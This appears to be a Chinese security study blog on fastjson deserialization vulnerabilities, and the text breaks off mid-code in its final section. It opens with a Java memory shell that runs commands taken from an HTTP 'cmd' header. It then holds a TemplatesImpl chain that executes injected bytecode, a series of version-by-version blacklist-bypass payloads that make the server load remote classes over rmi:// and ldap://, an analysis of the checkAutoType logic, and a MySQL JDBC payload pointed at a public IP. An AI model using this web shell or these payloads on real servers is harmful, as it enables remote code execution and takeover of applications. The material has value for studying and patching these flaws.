    // h =new HashSet<Object>();
    // F(Thread.currentThread(),0);
//    }
    public dfs_classloader()
    //static
    {
        // System.out.println("start");
        r = null;
        p = null;
        h =new HashSet<Object>();
        try {
            hsr = cl.loadClass("javax.servlet.http.HttpServletRequest");
            hsp = cl.loadClass("javax.servlet.http.HttpServletResponse");
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }

        F(Thread.currentThread(),0);
    }

    private static boolean i(Object obj){
        if(obj==null|| h.contains(obj)){
            return true;
        }

        h.add(obj);
        return false;
    }
    private static void p(Object o, int depth){
        if(depth > 52||(r !=null&& p !=null)){
            return;
        }
        if(!i(o)){
            if(r ==null&&hsr.isAssignableFrom(o.getClass())){
                r = o;
                //Tomcat特殊處理
                try {
                    cmd = (String)hsr.getMethod("getHeader",new Class[]{String.class}).invoke(o,"cmd");
                    if(cmd==null) {
                        r = null;
                    }else{
                        //System.out.println("find Request");
                        try {
                            Method getResponse = r.getClass().getMethod("getResponse");
                            p = getResponse.invoke(r);
                        } catch (Exception e) {
                            //System.out.println("getResponse Error");
                            r=null;
                            //e.printStackTrace();
                        }
                    }
                } catch (IllegalAccessException e) {
                    e.printStackTrace();
                } catch (InvocationTargetException e) {
                    e.printStackTrace();
                } catch (NoSuchMethodException e) {
                    e.printStackTrace();
                }

            }else if(p ==null&&hsp.isAssignableFrom(o.getClass())){
                p =  o;


            }
            if(r !=null&& p !=null){
                try {
                    PrintWriter pw =  (PrintWriter)hsp.getMethod("getWriter").invoke(p);
                    pw.println(new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next());
                    pw.flush();
                    pw.close();
                    //p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next());
                }catch (Exception e){
                }
                return;
            }

            F(o,depth+1);
        }
    }
    private static void F(Object start, int depth){

        Class n=start.getClass();
        do{
            for (Field declaredField : n.getDeclaredFields()) {
                declaredField.setAccessible(true);
                Object o = null;
                try{
                    o = declaredField.get(start);

                    if(!o.getClass().isArray()){
                        p(o,depth);
                    }else{
                        for (Object q : (Object[]) o) {
                            p(q, depth);
                        }

                    }

                }catch (Exception e){
                }
            }

        }while(
                (n = n.getSuperclass())!=null
        );
    }
}

TemplatesImpl

FastJson反序列化漏洞利用的三個細節-TemplatesImpl的利用鏈

  • kick-off gadget:JSON.parse(payload,Feature.SupportNonPublicField)
  • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties()
  • chain gadget:JavaBeanDeserializer#deserialze()

這一條鏈利用條件比較苛刻:

  1. 服務端使用parseObject()時,必須使用如下格式才能觸發漏洞:JSON.parseObject(jsonstr, Object.class,config, Feature.SupportNonPublicField)
  2. 服務端使用parse()時,需要JSON.parse(jsonstr,Feature.SupportNonPublicField)
public class TemplatesImplSec {
    public static void main(String[] args) {
        try {
            byte[] evilCode = getEvilBytes();
            String evilCode_base64 = Base64.encodeBase64String(evilCode);
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + evilCode_base64 + "\"],'_name':'asd','_tfactory':{ },\"_outputProperties\":{ }," + "\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
            System.out.println(text1);
            ParserConfig config = new ParserConfig();
            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void setFieldValue(String className,Object object, String field_name, Object field_value) throws Exception {
        Class clazz = Class.forName(className);
        Field declaredField = clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,field_value);
    }
    public static Object getTempalteslmpl() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        byte[] evilBytes = getEvilBytes();
        String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        setFieldValue(className,templates,"_name","Hello");
        setFieldValue(className,templates,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(className,templates,"_bytecodes",new byte[][]{evilBytes});
        return templates;
    }
    public static byte[] getEvilBytes() throws Exception{
        //byte[] bytes = ClassPool.getDefault().get("memshell").toBytecode();
        ClassPool classPool = new ClassPool(true);
        CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
        CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        helloAbstractTranslet.setSuperclass(ctClass);
        CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
        ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});");
        helloAbstractTranslet.addConstructor(ctConstructor);
        byte[] bytes = helloAbstractTranslet.toBytecode();
        helloAbstractTranslet.detach();
        return bytes;
    }
}

為什麼設定Feature.SupportNonPublicField

fastjson預設不會反序列化時不會處理私有屬性,而TemplatesImpl利用鏈中的屬性都是私有屬性,所以我們要設定Feature.SupportNonPublicField

public final class TemplatesImpl implements Templates, Serializable {
    private byte[][] _bytecodes = null;
    private Properties _outputProperties;
    ....
}

為什麼會觸發getOutputProperties()

之前分析過JavaBeanInfo#build()方法中是會對setter、getter、成員變數分別進行處理,智慧提取出成員變數資訊放在JavaBeanInfo#fields屬性中。getOutputProperties在不例外。

之後在JavaBeanDeserializer#parseField()方法的處理中呼叫smartMatch進行處理

    public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,Map<String, Object> fieldValues) {
        JSONLexer lexer = parser.lexer; // xxx
        FieldDeserializer fieldDeserializer = smartMatch(key);
        ......
        fieldDeserializer.parseField(parser, object, objectType, fieldValues);
        return true;
    }

在smartMatch尋找FieldDeserializer的邏輯中會去除鍵中的is_-來尋找對應的FieldDeserializer

    public FieldDeserializer smartMatch(String key) {
        if (key == null) {
            return null;
        }
        FieldDeserializer fieldDeserializer = getFieldDeserializer(key);

        if (fieldDeserializer == null) {
            boolean startsWithIs = key.startsWith("is");
            
            for (FieldDeserializer fieldDeser : sortedFieldDeserializers) {
                FieldInfo fieldInfo = fieldDeser.fieldInfo;
                Class<?> fieldClass = fieldInfo.fieldClass;
                String fieldName = fieldInfo.name;
                
                if (fieldName.equalsIgnoreCase(key)) {
                    fieldDeserializer = fieldDeser;
                    break;
                }
                
                if (startsWithIs //
                        && (fieldClass == boolean.class || fieldClass == Boolean.class) //
                        && fieldName.equalsIgnoreCase(key.substring(2))) {
                    fieldDeserializer = fieldDeser;
                    break;
                }
            }
        }
        
        if (fieldDeserializer == null) {
            boolean snakeOrkebab = false;
            String key2 = null;
            for (int i = 0; i < key.length(); ++i) {
                char ch = key.charAt(i);
                if (ch == '_') {
                    snakeOrkebab = true;
                    key2 = key.replaceAll("_", "");
                    break;
                } else if (ch == '-') {
                    snakeOrkebab = true;
                    key2 = key.replaceAll("-", "");
                    break;
                }
            }
            if (snakeOrkebab) {
                fieldDeserializer = getFieldDeserializer(key2);
                if (fieldDeserializer == null) {
                    for (FieldDeserializer fieldDeser : sortedFieldDeserializers) {
                        if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2)) {
                            fieldDeserializer = fieldDeser;
                            break;
                        }
                    }
                }
            }
        }

        if (fieldDeserializer == null) {
            for (FieldDeserializer fieldDeser : sortedFieldDeserializers) {
                if (fieldDeser.fieldInfo.alternateName(key)) {
                    fieldDeserializer = fieldDeser;
                    break;
                }
            }
        }

        return fieldDeserializer;
    }

為什麼_bytecodes要進行Base64編碼

com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze在解析byte[]的時候進行了base64解碼

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
    final JSONLexer lexer = parser.lexer;
    if (lexer.token() == JSONToken.NULL) {
        lexer.nextToken(JSONToken.COMMA);
        return null;
    }

    if (lexer.token() == JSONToken.LITERAL_STRING) {
        byte[] bytes = lexer.bytesValue();
        lexer.nextToken(JSONToken.COMMA);
        return (T) bytes;
    }

為什麼_tfactor為{}

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.class:579解析欄位值時,會自動判斷傳入鍵值是否為空,如果為空會根據類屬性定義的型別自動建立例項

if (object == null && fieldValues == null) {
    object = createInstance(parser, type);
    if (object == null) {
        fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length);
    }
    childContext = parser.setContext(context, object, fieldName);
}

1.2.25-1.2.41

自fastjson的1.2.25版本以後預設不開啟了AutoTypeSupport功能,所以需要收到開啟

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

Payload

public class JdbcRowSetImpISec {
    public static void main(String[] args) {
        //反序列化 1.2.25
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://127.0.0.1:1234/Exploit\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

首先在ParserConfig之中增加了黑白名單

public class ParserConfig {
    private String[]    denyList  = "".split(",");
    private String[]    acceptList  = AUTO_TYPE_ACCEPT_LIST;
}

白名單需要我們手動新增

  • 使用程式碼進行新增:ParserConfig.getGlobalInstance().addAccept(“org.su18.fastjson.,org.javaweb.”)

  • 加上JVM啟動引數:-Dfastjson.parser.autoTypeAccept=org.su18.fastjson.

  • 在fastjson.properties中新增:fastjson.parser.autoTypeAccept=org.su18.fastjson.

黑名單:雖然有黑名單,但是沒有攔截BasicDataSource,但是把字首給攔截了org.apache.tomcat

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

另外對比以下1.2.24和1.2.25的DefaultJSONParser#parseObject(),可以看出新版多了checkautoTypeimage-20220905173953160

進入com.alibaba.fastjson.parser.ParserConfig#checkAutoType方法中,如果開啟了autoTypeSupport將會先進行白名單的判斷,然後再進行黑名單的判斷。可以說我們直接使用1.2.24的Payload直接打的話會直接丟擲黑名單攔截的異常image-20220905175445759

但是繼續往下看,如果不使用黑名單中的字首,將會進入TypeUtils.loadClass(String className, ClassLoader classLoader)

com.alibaba.fastjson.parser.ParserConfig#checkAutoType
line 860
    
if (autoTypeSupport || expectClass != null) {
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

在TypeUtils#loadClass中,如果JSON字串中的類名以L開頭並且以;結尾,將會去掉它倆再用TypeUtils#loadClass載入clazz。邏輯漏洞成功繞過檢測image-20220905180950907

1.2.25-1.2.42

該版本在1.2.41的基礎將黑名單字串校驗改為了hash值校驗image-20220905190932629

但是可以發現關於className類名的計算公式我們是可以知道的:com.alibaba.fastjson.util.TypeUtils#fnv1a_64

    public static long fnv1a_64(String key) {
        long hashCode = -3750763034362895579L;

        for(int i = 0; i < key.length(); ++i) {
            char ch = key.charAt(i);
            hashCode ^= (long)ch;
            hashCode *= 1099511628211L;
        }

        return hashCode;
    }

關於hash值所對應的類名已經有大佬給整出來了https://github.com/LeadroyaL/fastjson-blacklist

想想怎麼繞過hash校驗,其實也不難,只要我們類的hash值不和黑名單對應而且能觸發loadClass就可以。巧妙的是TypeUtils#loadClass中的邏輯並沒有發生變化image-20220905192031807

那就是雙寫繞過唄。

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://127.0.0.1:1234/Exploit", "autoCommit":true}

1.2.25-1.2.43

修改的點在checkAutoType中,遇到倆個LL就直接攔截。避免了之前的LL繞過image-20220905214234800

但是官方還是沒有防範對[的處理image-20220905214434180

使用以下Payload進行繞過

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://127.0.0.1:1234/Exploit", "autoCommit":true}

1.2.44

checkAutoType裡面判斷JSON字串如果以[開頭直接丟擲異常image-20220905220337953

1.2.25-1.2.45

這次fastjson的漏洞不是在BasicDataSource中了,出現了新的jndi利用鏈中,前提是需要mybatis依賴<3.5.0

<dependency>
    <groupId>org.mybatis</groupId>
    <artifactId>mybatis</artifactId>
    <version>3.4.5</version>
</dependency>

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory該類中可觸發jndiimage-20220905231455653

前面部分觸發jndi

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"2333","initial_context":"rmi://127.0.0.1:1234/Exploit"}}

後面部分觸發jndi

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://127.0.0.1:1234/Exploit"}}

1.2.25-1.2.47

快取繞過:這一期的主題是快取

  • 1.2.25-1.2.32版本:未開啟AutoTypeSupport時能成功利用,開啟AutoTypeSupport反而不能成功觸發;
  • 1.2.33-1.2.47版本:無論是否開啟AutoTypeSupport,都能成功利用;
{"a": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"b": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://127.0.0.1:1234/Exploit","autoCommit": true}}

原因:利用java.lang.Class的幫助將JdbcRowSetImpl類載入到Mappings的快取中,從而繞過checkAutoType中的檢測。將payload分為倆次送,第一次將類載入到快取中,第二次反序列化觸發jndi。

1.2.25-1.2.32

未開啟AutoTypeSupport時能成功利用,開啟AutoTypeSupport反而不能成功觸發;

未開啟autoTypeSupport

java.lang.Class類不屬於黑名單中的類,所以直接繞過checkAutoType的檢測,java.lang.Class對應的Deserializer是MiscCodecimage-20220906152935643

MiscCodec.deserialze中會獲取到val部分的值然後賦值給objVal然後再賦值給strValimage-20220906153718630

如果我們的clazz是繼承自Class將會使用TypeUtils.loadClass載入image-20220906153917312

TypeUtils.loadClass中載入將會把jdbcRowSetImpl進行載入然後放在mappings快取中image-20220906154506579

然後在解析處理JSON字串的b部分時候,checkAutoType方法的邏輯中會直接從mappings的快取中取出clazz,從而繞過黑白名單檢測。邏輯漏洞image-20220906154730184

最後就是JavaBeanDeserializer.deserialize觸發Jndi注入

開啟autoTypeSupport

在b部分進行JSON字串解析的時候進入checkAutoType會直接被攔截image-20220906155518927

1.2.25-1.2.47

無論是否開啟autoTypeSupport都會利用成功

未開啟autoTypeSupport

和前者一樣在進行黑白名單檢查之前就直接從mappings快取中取出clazzimage-20220906161152881

開啟autoTypeSupport

依舊是從Mappings快取中獲取clazz類image-20220906161455188

1.2.48

該版本的話貌似不可能繞過,1.2.48中AutoTypeSupport預設false,本部分不考慮期望類

AutoTypeSupport為true

想獲取類物件首先就要繞過checkAutoType,DefaultJSONParser#parseObjectimage-20230104155040559

ParserConfig#checkAutoType 首先檢查白名單,我們的類肯定不在白名單中。我們類的在黑名單中,但是如果同時其在快取中即可繞過image-20230104155207820

之前在1.2.47中提到過如何利用快取,利用的是java.lang.Class的反序列化器com.alibaba.fastjson.serializer.MiscCodec#deserialze在處理strVal(val屬性)的時候有機會透過TypeUtils.loadClass將val的值存入mappings快取中,但是這裡設定了cache未false,直接拒絕將類放入快取中image-20230104160015937

TypeUtils#loadClass中關於mappings.put都是如下邏輯。所以當前版本下想要在AutoTypeSupport為true下做手段是不可能了

if (cache) {
    mappings.put(className, clazz);
}

AutoTypeSupport為false

中間還有存mappings中和從deserializers中取的步驟,壓根不用看了根本不可能。當AutoTypeSupport為false的時候直接黑名單就否定了image-20230104160942184

1.2.62

黑名單的繞過

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

1.2.66

黑名單繞過

// 需要autotype true
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

1.2.68

一次實戰fastjson1.2.49

blackhat2021-json

主要圍繞著議題來吧,努力學習議題

官方說明 1.2.68版本變動

  1. 增加autoType的黑名單

  2. ParserConfig加入AutTypeCheckHandler支援,允許開發者自定義安全檢查

  3. 支援配置safeMode 如果配置了safeMode,那麼無論類是否在白黑名單與否都將不進行反序列化

安全問題 貌似都是寫檔案RCE,沒有直接RCE

可以先看 y4er師傅 的分析(非常詳細) 該版本貌似不能直接RCE,網上的各位師傅大多數使用的是fastjson寫檔案然後RCE

淺藍師傅

voidfyoo師傅

rmb122

關於blackhat2021披露的fastjson1.2.68鏈

Blackhat 2021 議題詳細分析 —— FastJson 反序列化漏洞及在區塊鏈應用中的滲透利用

前置知識

如何在json字串中指定expectclass:顯示(Explicit)繼承和隱式(Implicit)繼承image-20230115113650689

checkAutoType分析

我刪除了之前所有的分析,只想著重新來過 2023/1/10

我們需要把分析重點放在ParserConfig#checkAutoType這個函式中,在fastjson反序列化的過程中獲取類物件大部分都必須先經過該檢查

首先判斷非空;第二個if屬於 safeMode 模式,在1.2.68之後的版本,提供了 AutoTypeCheckHandler 擴充套件,可以自定義類接管 autoType, 透過ParserConfig#addAutoTypeCheckHandler 方法註冊;接下來就判斷是否開啟了 safeModeMask 安全模式,開啟後會 safeMode not support autoType,最後就是 typename 長度的校驗。

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        }

        if (autoTypeCheckHandlers != null) {
            for (AutoTypeCheckHandler h : autoTypeCheckHandlers) {
                Class<?> type = h.handler(typeName, expectClass, features);
                if (type != null) {
                    return type;
                }
            }
        }

        final int safeModeMask = Feature.SafeMode.mask;
        boolean safeMode = this.safeMode
                || (features & safeModeMask) != 0
                || (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
        if (safeMode) {
            throw new JSONException("safeMode not support autoType : " + typeName);
        }
    
       if (typeName.length() >= 192 || typeName.length() < 3) {
            throw new JSONException("autoType is not support. " + typeName);
        }
    
       ......
           
        return clazz;
    }

定義 expectClassFlag 旗子,如果 expectClass 期望類屬於 Object、Serializable、Cloneable、Closeable、EventListener、Iterable、Collection這幾個類不能作為expectClass期望類,expectClassFlag 它們不能作為期望類

 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
       ......
    final boolean expectClassFlag;
        if (expectClass == null) {
            expectClassFlag = false;
        } else {
            if (expectClass == Object.class
                    || expectClass == Serializable.class
                    || expectClass == Cloneable.class
                    || expectClass == Closeable.class
                    || expectClass == EventListener.class
                    || expectClass == Iterable.class
                    || expectClass == Collection.class
                    ) {
                expectClassFlag = false;
            } else {
                expectClassFlag = true;
            }
        }
       ......   
        return clazz;
    }

typeName 按照規則進行轉化 h3 後與 internalDenyHashCodes 黑名單進行比對,發現處於黑名單就直接退出。期間透過 typeNameINTERNAL_WHITELIST_HASHCODES 的處理得到 internalWhite 布林變數,它表示是否該類在白名單中

    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
       ......
	String className = typeName.replace('$', '.');
        Class<?> clazz;

        final long BASIC = 0xcbf29ce484222325L;
        final long PRIME = 0x100000001b3L;

        final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
        if (h1 == 0xaf64164c86024f1aL) { // [
            throw new JSONException("autoType is not support. " + typeName);
        }

        if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        final long h3 = (((((BASIC ^ className.charAt(0))
                * PRIME)
                ^ className.charAt(1))
                * PRIME)
                ^ className.charAt(2))
                * PRIME;

        long fullHash = TypeUtils.fnv1a_64(className);
        boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,  fullHash) >= 0;

        if (internalDenyHashCodes != null) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(internalDenyHashCodes, hash) >= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }
       ......   
        return clazz;
    }

如果其不在 internalWhite 白名單中並且(開啟了autoTypeSupport或者expectClassFlag位true) 就進入內部,內部進行黑白名單判斷,在白名單內就載入,在黑名單中就丟擲異常。

    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
       ......
     if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
                        continue;
                    }

                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }
       ......   
        return clazz;
    }

接下來就是從 Mappings/deserializers/typeMapping/interalwhite 中獲取該類物件,另外獲取類物件如果不是繼承自 expectClass 就直接丟擲異常

    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
       ......
        clazz = TypeUtils.getClassFromMapping(typeName);

        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        if (clazz == null) {
            clazz = typeMapping.get(typeName);
        }

        if (internalWhite) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
        }

        if (clazz != null) {
            if (expectClass != null
                    && clazz != java.util.HashMap.class
                    && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }
       ......   
        return clazz;
    }

getClassFromMapping:在com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings被賦值,新增了些基本類,後續會當作快取使用。image-20230111221122776

這裡先注意下java.lang.AutoCloseable類。

deserializers:deserializers.findClass是在com.alibaba.fastjson.parser.ParserConfig#initDeserializers初始化。裡面存放了一些特殊類用來直接反序列化。image-20230111221619330

typeMapping預設為空需要開發自己賦值,形如

ParserConfig.getGlobalInstance().register("test", Model.class);

如果沒有開啟 autoType 也會進行黑白名單判斷,在白名單內就載入,在黑名單中就丟擲異常。

    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
       ......
        if (!autoTypeSupport) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                char c = className.charAt(i);
                hash ^= c;
                hash *= PRIME;

                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                // white list
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }

                    return clazz;
                }
            }
        }
       ......   
        return clazz;
    }

JSONType相關的處理,在1.2.14版本之後,fastjson支援透過JSONType配置定製序列化的ObjectSerializer。 JSONType_serializer

    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
       ......
        boolean jsonType = false;
        InputStream is = null;
        try {
            String resource = typeName.replace('.', '/') + ".class";
            if (defaultClassLoader != null) {
                is = defaultClassLoader.getResourceAsStream(resource);
            } else {
                is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
            }
            if (is != null) {
                ClassReader classReader = new ClassReader(is, true);
                TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
                classReader.accept(visitor);
                jsonType = visitor.hasJsonType();
            }
        } catch (Exception e) {
            // skip
        } finally {
            IOUtils.close(is);
        }
       ......   
        return clazz;
    }

如果開啟 autoTypeSupport 或者 jsonType 或者 expectClassFlag 任何一個為 true ,就使用 TypeUtils.loadClass 來獲取類物件。繼續,如果開啟了 jsonType 就將其新增到快取並返回,如果 clazz 類物件繼承自 ClassLoader/DataSource/RowSet 直接丟擲異常退出,如果類物件繼承自 expectClass 就新增到快取 mappings 中並返回。

    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
       ......
        final int mask = Feature.SupportAutoType.mask;
        boolean autoTypeSupport = this.autoTypeSupport
                || (features & mask) != 0
                || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

        if (autoTypeSupport || jsonType || expectClassFlag) {
            boolean cacheClass = autoTypeSupport || jsonType;
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
        }

        if (clazz != null) {
            if (jsonType) {
                TypeUtils.addMapping(typeName, clazz);
                return clazz;
            }

            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    || javax.sql.RowSet.class.isAssignableFrom(clazz) //
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    TypeUtils.addMapping(typeName, clazz);
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }

            JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
            if (beanInfo.creatorConstructor != null && autoTypeSupport) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
       ......   
        return clazz;
    }

最後就是判斷是否開啟autoTypeSupport特性,clazz新增進快取,返回return clazz。

    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
       ......
	if (!autoTypeSupport) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        if (clazz != null) {
            TypeUtils.addMapping(typeName, clazz);
        }
       ......   
        return clazz;
    }

議題公佈的Gadgets

Gadgets Find

從整個checkAutoType方法的內容來看,從mappings快取中或繼承expectclass中得到類物件限制比較少,可以從這倆個方面考慮

1.2.47的繞過是因為TypeUtils中的mappings快取。在1.2.47之後的版本中我們已經無法透過java.lang.Class自主的新增任意類到快取中

Misccodec#deserialze

if (clazz == Class.class) {
    return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());

TypeUtils#loadClass

    public static Class<?> loadClass(String className, ClassLoader classLoader) {
        return loadClass(className, classLoader, false);

fastjson在使用前會將一些基礎的類提前載入出來放到TypeUtils.mappings快取中,TypeUtils.mappings的初始化是呼叫了

fastjson.util.TypeUtils#addBaseClassMappingsimage-20230111221122776

這些類的Deserializer反序列化器都有自己專屬的,比較難利用image-20230115111958194

在快取中有個類是意外java.lang.AutoCloseable,它反序列化器是 fastjson.parser.deserializer.JavaBeanDeserializer

java.lang.AutoCloseable是從jdk1.7之後開始引入的類,從jdk的文件中找到這個類的繼承類有很多熟知的image-20230115112751542

大多數都和讀寫操作有關。如果讓該類做expectclass,那麼其繼承類就可以很輕鬆的反序列化image-20230115113243348

上面blackhat尋找思路,然後y4er師傅也有一個尋找思路因為我們需要在checkAutoType傳參的時候expectclass不為null,直接尋找checkAutoType的呼叫,可以找到倆處,expectclass不為null的呼叫image-20230119000700097

  • JavaBeanDeserializer:和上面一樣,處於mappings中的類都指定了特定的deserializer,但是AutoCloseable類沒有,透過繼承/實現AutoCloseable的類可以繞過autotype反序列化。

  • ThrowableDeserializer:

在ParserConfig#getDeserializer中如果clazz是Throwable將會適用ThrowableDeserializer進行反序列化image-20230119001642656

接著在獲取一下個@type的時候呼叫checkAutoType並設定期望類為Throw.class.image-20230119001812558

Throwable的繼承類都是和異常相關的沒有什麼可用的

所以現在就需要尋找java.lang.AutoCloseable的繼承類中有無可利用的Gadgets

利用鏈的限制

  • 繼承自java.lang.AutoCloseable
  • 有預設的構造方法或者構造方法symbol
  • 不在黑名單中

利用鏈的需求:

  • RCE,讀檔案/寫檔案,SSRF
  • jdk自帶的類或者被廣泛使用的第三方jar包中的類

blackhat中提供了一個自動化尋找java.lang.AutoCloseable繼承類的工具:AutoTypeDiscovery Tools 以下時議題中的介紹

Find Gadgets Automatically:自動化尋找Gadgets

  • Reflection for checking derivation conditions:反射 檢查繼承的限制

  • Visualization of derivation relations for reversing the chain from sink:透過sink點反向尋找有繼承關係的視覺化工具

    • Tool for checking derivation conditions:尋找繼承類的工具
  • Search gadgets classes in the JDK and the specified set of jars:在jdk或指定jar包中尋找利用鏈中的類

  • Crawling common third party libraries from maven:從maven中尋找常見的第三方庫

AutoTypeDiscovery Tools 用途:

主要目的是自動挖掘

在靜態主函式處編輯第一行,設定你要分析的jar檔案或目錄。

啟動,等待然後輸出結果

為了視覺化資料將會儲存在 cytoscape 目錄中,用瀏覽器開啟index.html進行檢視

Mysql Attack

首先是Mysql JDBC的利用鏈image-20230118221722513

只要伺服器端有fastjson反序列化漏洞並且MySQL Connection有依賴再加一個原生反序列化的利用鏈即可

import com.alibaba.fastjson.JSON;

public class Main1 {
    public static void main(String[] args) {
        String payload = "\n" +
                "{\n" +
                "  \"@type\": \"java.lang.AutoCloseable\",\n" +
                "  \"@type\": \"com.mysql.jdbc.JDBC4Connection\",\n" +
                "  \"hostToConnectTo\": \"39.105.8.77\",\n" +
                "  \"portToConnectTo\": 3306,\n" +
                "  \"info\": {\n" +
                "    \"user\": \"CC6\",\n" +
                "    \"password\": \"password\",\n" +
                "    \"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\n" +
                "    \"autoDeserialize\": \"true\",\n" +
                "    \"NUM_HOSTS\": \"1\"\n" +
                "  },\n" +
                "  \"databaseToConnectTo\": \"dbname\",\n" +
                "  \"url\": \"\"\n" +
